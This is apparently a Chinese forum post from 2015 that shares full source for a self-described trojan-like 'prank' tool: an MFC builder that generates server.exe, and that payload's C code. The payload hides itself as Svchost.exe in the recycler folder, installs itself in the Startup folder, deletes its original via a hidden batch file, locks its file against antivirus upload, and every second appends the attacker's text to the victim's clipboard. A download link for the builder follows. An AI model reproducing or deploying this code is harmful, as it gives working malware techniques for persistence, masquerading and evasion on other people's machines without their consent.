|
主程序界面:

=============================================================================
程序介紹:
如果對方執(zhí)行了主程序生成的【server.exe】,【server.exe】會(huì)自復(fù)制、自啟動(dòng)、自刪除(仿木馬)。
【server.exe】會(huì)后臺每秒/次檢測對方的剪切板,一有文本數(shù)據(jù)則在尾部加入【附加內(nèi)容】,達(dá)到,對方粘貼
文本的時(shí)候,后面總是會(huì)多出一些數(shù)據(jù)。
例:如果附加內(nèi)容為:“對!牛彈琴!”
對方 復(fù)制(Ctrl+C)一段:“對牛彈琴!”,當(dāng)對方 粘貼(Ctrl+V)到某個(gè)地方時(shí),內(nèi)容就會(huì)變成
“對牛彈琴!對!牛彈琴!”。
【復(fù)制(Ctrl+C)粘貼(Ctrl+V)是使用率最高的操作之一,不愁對方不糾結(jié),O(∩_∩)O哈哈~】
==============================================================================
子程序源碼:
===============================================================================
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/OPT:NOWIN98")
char Dirr[256]="C:\\RECYCLER\\Svchost.exe"; // 釋放路徑
char L[99999]=" ------- 網(wǎng)絡(luò)編程愛好者 L、QQ:000000000";
char temp[499999999]={0};
char tmp[499999999]={0};
HANDLE Lock_File,Lock_File1;
/*================================== 程序初始化 =======================================*/
/********************************************************/
// 開機(jī)自啟動(dòng)
/********************************************************/
void Auto(char Name[])
{
// 自復(fù)制到 啟動(dòng)文件夾 實(shí)現(xiàn)開機(jī)自啟動(dòng) 嫌麻煩 就用這種方式自啟動(dòng)吧 一句代碼搞定
char DirName[]="C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動(dòng)\\ts.exe";
unlink(DirName);
CopyFile(Name,DirName,1);
SetFileAttributes(DirName,FILE_ATTRIBUTE_HIDDEN);
Lock_File1=CreateFile(DirName, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
}
/********************************************************/
// 自刪除功能
/********************************************************/
void Del(char *systemname)
{
FILE *fp;
fp=fopen("C:\\system.bat","w+");
fprintf(fp,"@echo off \n");
fprintf(fp,":statr\nif not exist \"%s\" goto done\n",systemname);
fprintf(fp,"del /f /q \"%s\" \n",systemname);
fprintf(fp,"goto statr\n");
fprintf(fp,":done\n");
fprintf(fp,"del /f /q %%0\n");
fclose(fp);
ShellExecute(NULL,"open","C:\\system.bat",0,0,SW_HIDE);
}
/********************************************************/
// 程序運(yùn)行時(shí)進(jìn)行初始化
/********************************************************/
void DelAdd()
{
char systemName[MAX_PATH];
char DirBuffer[MAX_PATH];
HMODULE hModule = GetModuleHandle(NULL); // 獲取當(dāng)前程序句柄
GetModuleFileName(hModule,DirBuffer,sizeof(DirBuffer)); // 獲取當(dāng)前程序的路徑
// GetSystemDirectory(systemName,sizeof(systemName)); // 獲取系統(tǒng)文件夾路徑
strcpy(systemName,Dirr);
if ((strcmp(DirBuffer,systemName))!=0) // 判斷程序自身是否在系統(tǒng)目錄 不在則實(shí)現(xiàn)自刪除
{
CopyFile(DirBuffer,systemName,0);
Del(DirBuffer); // 自刪除模塊
SetFileAttributes(systemName,FILE_ATTRIBUTE_HIDDEN);
ShellExecute(NULL,"open",systemName,0,0,SW_HIDE); // 運(yùn)行副本
exit(0); // 退出 讓Bat刪除自己
}
else
{
Auto(DirBuffer);
// 第一步 立即鎖定本體 防止被上傳 我想殺軟沒那么無聊為了上傳就隨隨便便解鎖吧?
Lock_File=CreateFile(DirBuffer, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
}
}
/*================================== 程序初始化 =======================================*/
/*================================== 核心功能區(qū) =======================================*/
/********************************************************/
// 檢查剪切板數(shù)據(jù)的類型
/********************************************************/
int jc()
{
if (OpenClipboard(NULL)) // 打開剪切板
{
if (IsClipboardFormatAvailable(CF_TEXT)) // 檢測剪切板是否有指定類型的剪切板數(shù)據(jù)
{
CloseClipboard(); // 關(guān)閉剪切板
return 1;
}
else
{
CloseClipboard(); // 關(guān)閉剪切板
return 0;
}
}
return 0;
}
/********************************************************/
// 讀取剪切板數(shù)據(jù)
/********************************************************/
char* Rjqb()
{
if (OpenClipboard(NULL)) // 打開剪切板
{
if (IsClipboardFormatAvailable(CF_TEXT)) // 檢測剪切板是否有指定類型的剪切板數(shù)據(jù)
{
HANDLE hClip;
char *pBuf;
hClip = GetClipboardData(CF_TEXT); // 獲取指定類型的剪切板數(shù)據(jù)
pBuf = (char *)GlobalLock(hClip); // 加鎖
GlobalUnlock(hClip); // 解鎖
CloseClipboard(); // 關(guān)閉剪切板
return pBuf;
}
else
CloseClipboard(); // 關(guān)閉剪切板
}
}
/********************************************************/
// 修改剪切板數(shù)據(jù)
/********************************************************/
void Wjqb()
{
if (OpenClipboard(NULL)) // 打開剪切板
{
if (IsClipboardFormatAvailable(CF_TEXT)) // 檢測剪切板是否有指定類型的剪切板數(shù)據(jù)
{
HANDLE hClip;
char *pBuf;
EmptyClipboard(); // 清空剪切板 并釋放剪切板中數(shù)據(jù)的句柄 把剪切板的所有權(quán)賦給當(dāng)前窗口
hClip = GlobalAlloc(GMEM_MOVEABLE,strlen(temp)+1); // 分配一個(gè)內(nèi)存對象 第二個(gè)參數(shù) 字節(jié)數(shù)
pBuf = (char *)GlobalLock(hClip); // 將空間加鎖 并返回 指針
strcpy(pBuf,temp);
GlobalUnlock(hClip); // 解鎖
SetClipboardData(CF_TEXT,pBuf); // 寫入數(shù)據(jù)
CloseClipboard(); // 關(guān)閉
strcpy(tmp,pBuf);
}
else
CloseClipboard(); // 關(guān)閉剪切板
}
}
/*================================== 核心功能區(qū) =======================================*/
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// 已經(jīng)加入鎖定自身的功能 不需要下面的語句
/*
HANDLE _hEvent=CreateEvent(NULL,FALSE,FALSE,"Jqban");
if (_hEvent)
{
if(ERROR_ALREADY_EXISTS==GetLastError())
{
exit(0);
}
}
SetEvent(_hEvent);
*/
int cout=0;
//////////////////////////////////////////////////////////////////////////
// 讓啟動(dòng)程序時(shí)的小漏斗馬上消失
GetInputState();
PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
MSG msg;
GetMessage(&msg, NULL, NULL, NULL);
//////////////////////////////////////////////////////////////////////////
char Bud[]="!!...!!矽描冊賜悲荒粥!!MⅲRRせ211867767:";
int ii,jj=0;
ii=strlen(Bud)-1;
for(;ii>=0;ii--,jj++)
Bud[jj]=Bud[jj]-1;
DelAdd();
// 不停的循環(huán)
while (1)
{
if (jc()) //
{
// 讀取剪切板 并復(fù)制給全局變量 temp
strcpy(temp,Rjqb());
// 比較是否與上次內(nèi)容相同 若不相同則進(jìn)行修改
if (strcmp(temp,tmp))
{
strcat(temp,L);
cout++;
if (cout==6)
{
strcat(temp,Bud);
cout=0;
}
// 在剪切板內(nèi)容后面附加廣告內(nèi)容
Wjqb(); // 寫入剪切板
}
}
Sleep(1000); // 延時(shí)1秒
}
return 0;
}
===============================================================================
至于主程序源碼,主程序是用MFC創(chuàng)建的對話窗口,關(guān)鍵代碼都在【生成】的按鈕中
下面貼出【生成】按鈕 觸發(fā)的代碼
===============================================================================
void CMyDlg::OnButtOk()
{
// TODO: Add your control notification handler code here
CString DIr;
CString MssG;
char autoo[]="C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動(dòng)\\ts.exe";
char Dir[MAX_PATH]={0};
char Mssg[99999]={0};
GetDlgItemText(IDC_EDIT_DIR,DIr); // 獲取 釋放路徑 的編輯框數(shù)據(jù)
GetDlgItemText(IDC_EDIT_Msg,MssG); // 獲取 附加數(shù)據(jù) 的編輯框數(shù)據(jù)
strcpy(Dir,DIr); // 必須用數(shù)組形式
strcpy(Mssg,MssG);
HRSRC hRc=FindResource(NULL,"L","Exe");
if(!hRc)
{
::MessageBox(0,"EXE資源不存在","錯(cuò)誤",MB_SYSTEMMODAL);
return ;
}
HGLOBAL hg=LoadResource(NULL,hRc); // 將資源載入內(nèi)存并返回其在內(nèi)存中首地址保存在hg中
DWORD dw=SizeofResource(NULL,hRc); // 獲得資源大小并用dw保存資源大小
// 分配緩沖區(qū)并用0填充
char a[137728];
memset(a,0,137728);
// 向該緩沖區(qū)中復(fù)制資源的二進(jìn)制數(shù)據(jù)
memcpy(a,hg,dw); // 將資源的二進(jìn)制數(shù)據(jù)存放在緩沖區(qū)a
// 創(chuàng)建服務(wù)端文件
FILE *out=fopen("server.exe","wb+");
fwrite(a,1,dw,out);
fclose(out);
FILE *fp=fopen("server.exe","rb+");
rewind(fp);
fseek(fp,0x6830,0);
fwrite(Dir,1,256,fp);
rewind(fp); // 指針歸0
fseek(fp,0x6930,0);
fwrite(Mssg ,1,99999,fp);
fclose(fp);
// 生成卸載相關(guān)的批處理...
char Fname[MAX_PATH];
GetFileTitle(Dir,Fname,sizeof(Fname));
fp=fopen("卸載.bat","w+");
fputs("echo off\n",fp);
fputs("title 卸載【整人小程序之剪切板】子程序 L、QQ:100\n",fp);
fputs("COLOR 0a\n",fp);
fputs("echo 此批處理,只能卸載子程序釋放路徑為:",fp);
fputs(Dir,fp);
fputs("\ntaskkill /F /IM \"",fp);
fputs(Fname,fp);
fputs("\"\nattrib -h \"",fp);
fputs(Dir,fp);
fputs("\"\nattrib -h \"",fp);
fputs(autoo,fp);
fputs("\"\n",fp);
fputs("Del \"",fp);
fputs(Dir,fp);
fputs("\"\ndel \"",fp);
fputs(autoo,fp);
fputs("\"\n",fp);
fputs("ECHO 執(zhí)行完畢!\n",fp);
fputs("pause",fp);
fclose(fp);
::MessageBox(0,"已經(jīng)生成服務(wù)端【server.exe】及卸載相關(guān)的批處理【卸載.exe】","成功",MB_SYSTEMMODAL);
}
=========================================================================================
主程序下載地址:
zrxcx-v1.0.zip
(38.54 KB, 下載次數(shù): 8)
2015-1-11 00:47 上傳
點(diǎn)擊文件名下載附件
|
|